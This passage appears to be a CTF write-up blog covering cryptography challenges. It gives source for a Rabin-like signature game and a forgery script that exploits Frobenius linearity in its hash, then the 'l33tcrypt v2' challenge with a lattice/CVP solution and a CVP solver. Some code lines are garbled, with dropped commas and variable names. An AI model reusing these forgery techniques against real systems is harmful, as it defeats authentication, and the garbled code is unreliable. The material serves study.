    K = F.quo(F.irreducible_element(n))
    return (K, m), N, (p, q)
 
def H(params, msg, u):
    K, m = params
    r, z = K.characteristic(), K.gens()[0]
    h = 0
    while msg > 0:
        h *= z
        h += msg % r
        msg //= r
    h += z*u
    for _ in range(m):
        h ^= r
    assert len(list(h)) != 0
    return int(h[0])
 
def sign(params, privkey, msg):
    p, q = privkey
    u = 1
    while True:
        c = H(params, msg, u) % (p*q)
        if legendre_symbol(c, p) == legendre_symbol(c, q) == 1:
            break
        u += 1
    xp = pow(c, (p+1)//4, p)
    xq = pow(c, (q+1)//4, q)
    x = crt([int(xp), int(xq)], [p, q])
    return x, u
 
def verify(params, pubkey, msg, sig):
    N = pubkey
    x, u = sig
    c = H(params, msg, u)
    return x^2 % N == c % N
 
def main():
    print('Welcome to the game. To get the flag, give me a message to sign, then sign a random message of mine!')
    FLAG = open('./flag.txt''r').read().strip()
 
    L, n, m = 1024153
    params, pubkey, privkey = generate_key(L, n, m)
    print('N:', pubkey)
 
    msg = int(input('message (in hex): '), 16)
    if msg < pubkey^m:
        print('That message is too small!')
        exit()
    if msg > pubkey^n:
        print('That message is too big!')
        exit()
    x, u = sign(params, privkey, msg)
    print('x:', x)
    print('u:', u)
 
    auth_msg = randint(1, pubkey^5)
    print('Now sign', hex(auth_msg))
    x = int(input('x: '))
    u = int(input('u: '))
 
    if verify(params, pubkey, auth_msg, (x, u)):
        print(FLAG)
    else:
        print('Incorrect!')
 
if __name__ == '__main__':
    main()
 
cs

 

There are a lot of approaches possible, and a lot of solutions are on joseph's writeup linked above. Here, I'll just write my solution. 

 

Ultimately, we need $x, u$ such that $$x^2 \equiv H(msg, u) \pmod{N}$$ holds. Obviously there must be some issue with the whole $H$, so let's take a look in that whole thing. 

 

In $H$, we write $msg$ as a polynomial in $GF(r^n)$ and then computes the constant part of $$(msg + zu)^{r^m}$$ My immediate idea was to utilize frobenius endomorphism to simplify $$(msg + zu)^{r^m} \equiv msg^{r^m} + z^{r^m} u^{r^m} \equiv msg^{r^m} + z^{r^m} u \pmod{r}$$ which was linear in $u$. This gave us $$H(msg, u) = H(msg, 0) + u H(0, 1) \pmod{r}$$ and both $H(msg, 0)$ and $H(0, 1)$ can be computed directly from the given data.

 

Therefore, we can just select $u$ appropriately to make $H(msg, u) \equiv 1 \pmod{r}$ and send $x=1$ to get the flag.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
def H(params, msg, u):
    K, m = params
    r, z = K.characteristic(), K.gens()[0]
    h = 0
    while msg > 0:
        h *= z
        h += msg % r
        msg //= r
    h += z*u
    for _ in range(m):
        h = h ** r
    assert len(list(h)) != 0
    return int(h[0])
 
conn = remote('pwn-2021.duc.tf'31912)
conn.recvline()
 
= int(conn.recvline().split()[1])
 
= next_prime(N)
= PolynomialRing(GF(r), 'x')
= F.quo(F.irreducible_element(15))
params = (K, 3)
pubkey = N
 
conn.sendline(hex(pubkey ** 6)[2:].encode())
conn.recvline()
conn.recvline()
 
target = int(conn.recvline().split()[2][2:].decode(), 16)
 
val_1 = H(params, target, 0)
val_2 = H(params, 01)
 
= ((1 + r - val_1) * inverse(val_2, r)) % r
 
conn.sendline(str(1).encode())
conn.sendline(str(u).encode())
 
print(conn.recvline())
cs

 

l33tcrypt v2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from Crypto.Util.number import getPrime, bytes_to_long
 
flag = open('flag.txt''rb').read().strip()
 
p, q = getPrime(1337), getPrime(1337)
= p*q
 
K.<z> = NumberField((x-p)^2 + q^2)
hint1 = p^2 + q^2
hint2 = []
 
= 1+337
for _ in range(1*3*3-7):
    a, b = getrandbits(1337), getrandbits(1337)
    x = K(a + getrandbits(l)/2^l) + K(b + getrandbits(l)/2^l)*z
    y = x*x.conjugate()
    hint2.append((int(y), a, b))
 
Zn.<I> = (ZZ.quo(n*ZZ))[]
ZnI.<I> = Zn.quo(I^2 + 1)
 
= randrange(1, n) + bytes_to_long(flag) * I
= pow(m, 0x1337)
 
print(f'hint1 = {hint1}', f'hint2 = {hint2}', f'c = {c}', sep='\n')
 
cs

 

Hour 1-2

CCE, a local CTF, was going on, but I was done with my part and had some time on my hands. 

That whole number field thing looked very scary, but the "error part" getrandbits and the "error part" from rounding $y$ made me believe that this is not really about number fields, but more about "approximate stuff" like lattices.

 

Also, I saw that after we find $p, q$, the remaining part can be copied from TetCTF 2021. (https://rkm0959.tistory.com/192)

 

After looking at basic conjugate things like $\overline{x} = 2p-x$ and $x \overline{x} = p^2 + q^2$ and doing some calculations on paper, I ended up with $$(a+r_1)^2 + 2p(a+r_1)(b+r_2) + (b+r_2)^2 (p^2+q^2) = y + r_3$$ where $0 \le r_1, r_2, r_3 < 1$. To make everything integer, multiplying $4^l$ gives $$(2^la + r_1)^2 + 2p(2^la+r_1)(2^lb+r_2) + (2^lb+r_2)^2 (p^2+q^2) + 4^ly + r_3$$ where $0 \le r_1, r_2 < 2^l$ and $0 \le r_3 < 4^l$ are integers. We have two equations, so in total, 6 error terms. 

 

We know $p^2+q^2$, so we only want the $p$ part. I wanted to plug in CVP repo, but it's not possible in this form. This is because the equations have parts like $r_1r_2p$, which is a large unknown value. This situation happened to me before - it was in AeroCTF horcrux (https://rkm0959.tistory.com/211) and I had talked about my solution with joseph before on discord. So I thought this might be the way. The idea is to cancel out $p$, making everything about the 6 error terms only. In the end, I would have a 6-variable polynomial to solve for small roots. 

 

In AeroCTF horcrux, the bounds were good enough that I could finish with CVP repo, not using the full power of the polynomials. To be more exact, I wouldn't need to use that $r_1r_2$ is $r_1$ multiplied by $r_2$ - just the fact that $0 \le r_1r_2 < 2^{2l}$. However, that was not true for this problem, as my CVP repo failed to give a correct solution. This meant that I actually needed the full power of 6 variable polynomials. I tried defund's repo, but it killed my computer. Another idea I had in mind was to use bounding to find one of $r_1, r_2$. However, not knowing $p$ precisely made this impossible. Then I went to work on writing up CCE and had dinner. 

 

Hour 3

I started with the bounding idea again - the part that kept bugging me was that $r_1$ really didn't matter. For example, if I had known $p$, I could find $r_2$ without the knowledge of $r_1$ or $r_3$ as the "impact" of $r_2$ is far greater than $r_1$ or $r_3$ in the whole equation.

 

To be more detailed, consider the equation $$(a+r_1)^2 + 2p(a+r_1)(b+r_2) + (b+r_2)^2 (p^2+q^2) = y + r_3$$ with $0 \le r_1, r_2, r_3 < 1$. When $r_1$ changes from $0$ to $1$, the LHS increases about 1337 * 2 bits. When $r_3$ changes from $0$ to $1$, the RHS increases about 1 bit. When $r_2$ changes from $0$ to $1$, the LHS increases about 1337 * 3 bits. This made me think about ignoring all $r_1, r_3$ parts as "noises", simplifying the equations at the cost of a looser bound and loss of information. 

 

Consider $0 \le r_1, r_2 < 2^l$ and $0 \le r_3 < 4^l$, with $$\left( a+ \frac{r_1}{2^l} \right)^2 + 2p \left(a + \frac{r_1}{2^l} \right) \left( b + \frac{r_2}{2^l} \right) + \left(b+\frac{r_2}{2^l} \right)^2 (p^2+q^2) = y + \frac{r_3}{2^{2l}}$$ we will divide this by $p^2+q^2$, and denote anything that is around 1 or smaller as $O(1)$. This gives $$ \frac{1}{p^2+q^2} \left( a+ \frac{r_1}{2^l} \right)^2 + \frac{1}{p^2+q^2} 2p \left(a + \frac{r_1}{2^l} \right) \left( b + \frac{r_2}{2^l} \right) + \left(b+\frac{r_2}{2^l} \right)^2  = \frac{1}{p^2+q^2} y + \frac{1}{p^2+q^2} \cdot \frac{r_3}{2^{2l}}$$ First, $a^2$ is 1337 * 2 bits and so is $p^2 + q^2$, implying that the first part is $O(1)$. For the second part, if we fully expand the numerator, the part excluding $2pab$ are all around 1337 * 2 bits, implying that it is $O(1)$ after division by $p^2+q^2$.

We can also see that $(r_2/2^l)^2$ is $O(1)$. Finally, clearly $r_3/4^l$ is already $O(1)$. In conclusion, we have the stunning equation $$O(1) + \frac{2ab}{p^2+q^2} p + b^2 + \frac{2r_2b}{2^l} =  \frac{y}{p^2+q^2} $$ and in practice, the inequality $$ \frac{2ab}{p^2+q^2} p + b^2 + \frac{2r_2b}{2^l} \le \frac{y}{p^2+q^2} \le 3 + \frac{2ab}{p^2+q^2} p + b^2 + \frac{2r_2b}{2^l}$$ worked well, which was verified with multiple testing with generated data. After clearing denominators, this was the perfect inequality to plug into CVP repo. Everything was known except $p$ and one error term for each equation, and everything was linear in terms of unknown values. I plugged this into the CVP repository, but there were multiple solutions. It took a few minutes to figure out that my candidates for $p$ were all consecutive integers, and I just had to take the next prime number to find the actual $p$, giving the flag.

 

This was a really really good challenge that taught me a lot. It had an interesting tradeoff of complexity and precision.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
 
def inthroot(a, n):
    return a.nth_root(n, truncate_mode=True)[0]
 
# Directly taken from rbtree's LLL repository
# From https://oddcoder.com/LOL-34c3/, https://hackmd.io/@hakatashi/B1OM7HFVI
def Babai_CVP(mat, target):
    M = IntegerLattice(mat, lll_reduce=True).reduced_basis
    G = M.gram_schmidt()[0]
    diff = target
    for i in reversed(range(G.nrows())):
        diff -=  M[i] * ((diff * G[i]) / (G[i] * G[i])).round()
    return target - diff
 
 
def solve(mat, lb, ub, weight = None):
    num_var  = mat.nrows()
    num_ineq = mat.ncols()
 
    max_element = 0 
    for i in range(num_var):
        for j in range(num_ineq):
            max_element = max(max_element, abs(mat[i, j]))
 
    if weight == None:
        weight = num_ineq * max_element
 
    # sanity checker
    if len(lb) != num_ineq:
        print("Fail: len(lb) != num_ineq")
        return
 
    if len(ub) != num_ineq:
        print("Fail: len(ub) != num_ineq")
        return
 
    for i in range(num_ineq):
        if lb[i] > ub[i]:
            print("Fail: lb[i] > ub[i] at index", i)
            return
 
    # heuristic for number of solutions
    DET = 0
 
    m = mat * mat.transpose()
    DET = inthroot(Integer(m.det()), 2)
    num_sol = 1
    for i in range(num_ineq):
        num_sol *= (ub[i] - lb[i])
    if DET == 0:
        print("Zero Determinant")
    else:
        num_sol //= DET
        # + 1 added in for the sake of not making it zero...
        # print("Expected Number of Solutions : ", num_sol + 1)
        # print(num_sol+1)
 
    # scaling process begins
    max_diff = max([ub[i] - lb[i] for i in range(num_ineq)])
    applied_weights = []
 
    for i in range(num_ineq):
        ineq_weight = weight if lb[i] == ub[i] else max_diff // (ub[i] - lb[i])
        applied_weights.append(ineq_weight)
        for j in range(num_var):
            mat[j, i] *= ineq_weight
        lb[i] *= ineq_weight
        ub[i] *= ineq_weight
 
    # Solve CVP
    target = vector([(lb[i] + ub[i]) // 2 for i in range(num_ineq)])
    result = Babai_CVP(mat, target)
 
    for i in range(num_ineq):
        if (lb[i] <= result[i] <= ub[i]) == False:
            # print("Fail : inequality does not hold after solving")
            return NoneNoneNone
            break
    
        # recover x
    fin = None
 
    mat = mat.transpose()
    fin = mat.solve_right(result)
    
    ## recover your result
    return result, applied_weights, fin
 
hint1 = 9474114456792673515431877947943819508105969635542281515830563486137327168661333703401850605206493227243522275742966516648683239582868203596838274343178793480973891177607186024817920580636526398124249438530268326706106084200991464054888550590630591134888356623254262308517945404542523082470069480353068223694311508861801523183513245279545596528410382012946385366699431483305340128165852371328697376926968446708099825429442186214124021086080153564030893750081986851543881131351556953787562383902563532279388285764786107301410609469955447888060120474186646198067390958666731078269768973485409216649415321100676385488676994332545669638759522053210552702128133338413305324201806761866164474398103381334477039479224259925086453057512169480806903881772813089475880157326511289464083589335128877565750510634618850
hint2 = [(732546382458694012527789828012658378094702844241795401426843533262220812770028735455197287163119092985574791815396084039371039996745646333674579318749988785972110472195404257454757344814442424493794011566431937242360848878285030166984149693743077380791443878087350475749876855340312637158554338528312647367781264029940556029591883509296327157870585105957528288777977912893801651347425601258985587330670953298765350018187069720989197539655266126608555068568433785671130844623376557756307700624321155540004939237651224429899583558320317618753120682478549822994855115229255313084828494729871333964260804633974731539710591594817406548163223896591957023800247556355776277803866504762994363248426088927388107745396346246364269053285330511504658050763844166012473791572894552857353549047649195624795947489180260979461063462063828112399114859364813704521025921163040319096254633472956309716047137099678802685979113668885601296025318218875502044310139823328365450929054463143898168438742821823709383772324178942782797995009228644990630313338092741812684409459706859981433655900653533420603781201785114071059836464490109704785152549161122683211537057829631974746267465106271003835623120675868336217957493577419646574917016786960763971105924313670864643113152080247596101761667919974877317059734430884155146853783807463171001928603696124835265895296591581488900411484570933812177545618929573489183920330986109459899431831015221573294655414274883012371358092609067769905057144741729285256290725546405447624734438623235233946301969480294721959115680856021696640872884026385162811995627855934793386619910476937700613082779, 1543824598221623810544208805328287421613768036151947874139391287620165680044273642997713684429385602196228549596953402195253771549624806908757244012787647676921740972118119690619160814867773301029620094485726996907379061963500831983371578370700427374066341469843386724329442101058337650126328673673103875588454070821764869582749550357448526278027673495765146251605639297850930361919443005623694632013303, 278066231056905142305104802223227529510107823582373063981133703297010715328189269872672545717708004188569473458656648620603642909190690880317856689557616399347538953740829444695466029704435732263108744727780955070759083273384356847390585190707938226562580173928509689922077486197504519480359398971760153208230160873276281036727480009843280457680277644007154868247812957266590582948212002647347579597965), (2403931462615300014912573083791207269120927941165936946270714147348589275302782927254153349406751900409737005652653965419293500156635383418370534229776798159799544655491444625223239629070116271649566531509751492007287556686610922243146922720689240769956444136141045389983487722510967341333296316124861289680453311483583713394680884118860739515747245777714794715741583447733115461680095467478792575220154609730018111981467052398055564596522296491712770565301016865613056558617018826541540034369006769600336871572325043701351770219492587170369815095344397680717819930616599208355365092147396589419063661351495695927808384696467907751578957796331366383391221037004742878990846671674314297157060496951084267550785175020195260374151822097301166545332365173007130667658669023236685137146454027881996654859397883138679620794416770836903293285267689375186032800923071081877797299448490161970114063577601307797826188431113415671273120884557490666872780316977507218882738147619244927641770516473541881268874031321080906148751514801419469523784406736104695838521768957591700470012632981881278541917424550592192054960270762406248837436552253011562745897713476468254217503340327771690937113342506707740878371307784138197357653258554320947445665637325825934844545591362876466794093523698691499245458580590045390833227060694376995243735824822120025136206595444317852707366827787780703456414342309744435791623414331744392284997640092463157849832124166944965921884701468913065315740226664124591175781629426506057267248659303310396227692666112080517619152746622372541984530565220811971391954114052398015660212010257113648848847, 1095271776133890944180744243712910546278746562392568011876271303881431329832093376635925871119446466987231888845639447279594831752278087660346437418402997861987783151298417098367490883057794520011454228160352569059415183920272078930149476192223454197039306461996527833603604938471295363667754643414137116188016150205603690898270274189826416464265752825558069478170856048769787582750749123139364050774900, 503722937364073120219172142862403799517933100630972300242952550817433776953552478694914014362767990852845981728951892566080540126804572527879551832311854342967959495035585119889481210539549990451963720802920003582648892828543694739151645941765335597098334960962085798952240875279321239403245884262371088975882015803767312665173035156867269826854927631774910426072984288933637519024572470691768302645082)]
= 605102888419960227209554020321928680123927287488855374705023014664876415212834812004489811277243459845970579234661036307883657755039678491432326372452841243321229852171896023071850921050801342321482817352489245753590859528134913389224781053767643398051814697896895555141791201522215484812840325201515942495422062613986130075684389632368804195932004897586630630338128732739336582396560286087433253207646470438321442025408149861408487622053608073870706373371068091196032798889074109310838175523351596714632562756238346928415386196418507587810202943766172435188745498284802679701385932344117910084137055452834777639122479568560833213921960536746001563295384313906616645378042076612734674897406388665158992742560848871345048141300064428115232029157294890916882227084289355920878535418217759491272196240289158*+ 402905876345360623890389746344156283490724942243446347407651587657582984752213019238901658740493086575033055708761232369818024879637729546252453885688608639875990929069618420599361648719421521522078856212297696107790674461747265712600212527558007137233037111629468854410752368327123903332471497908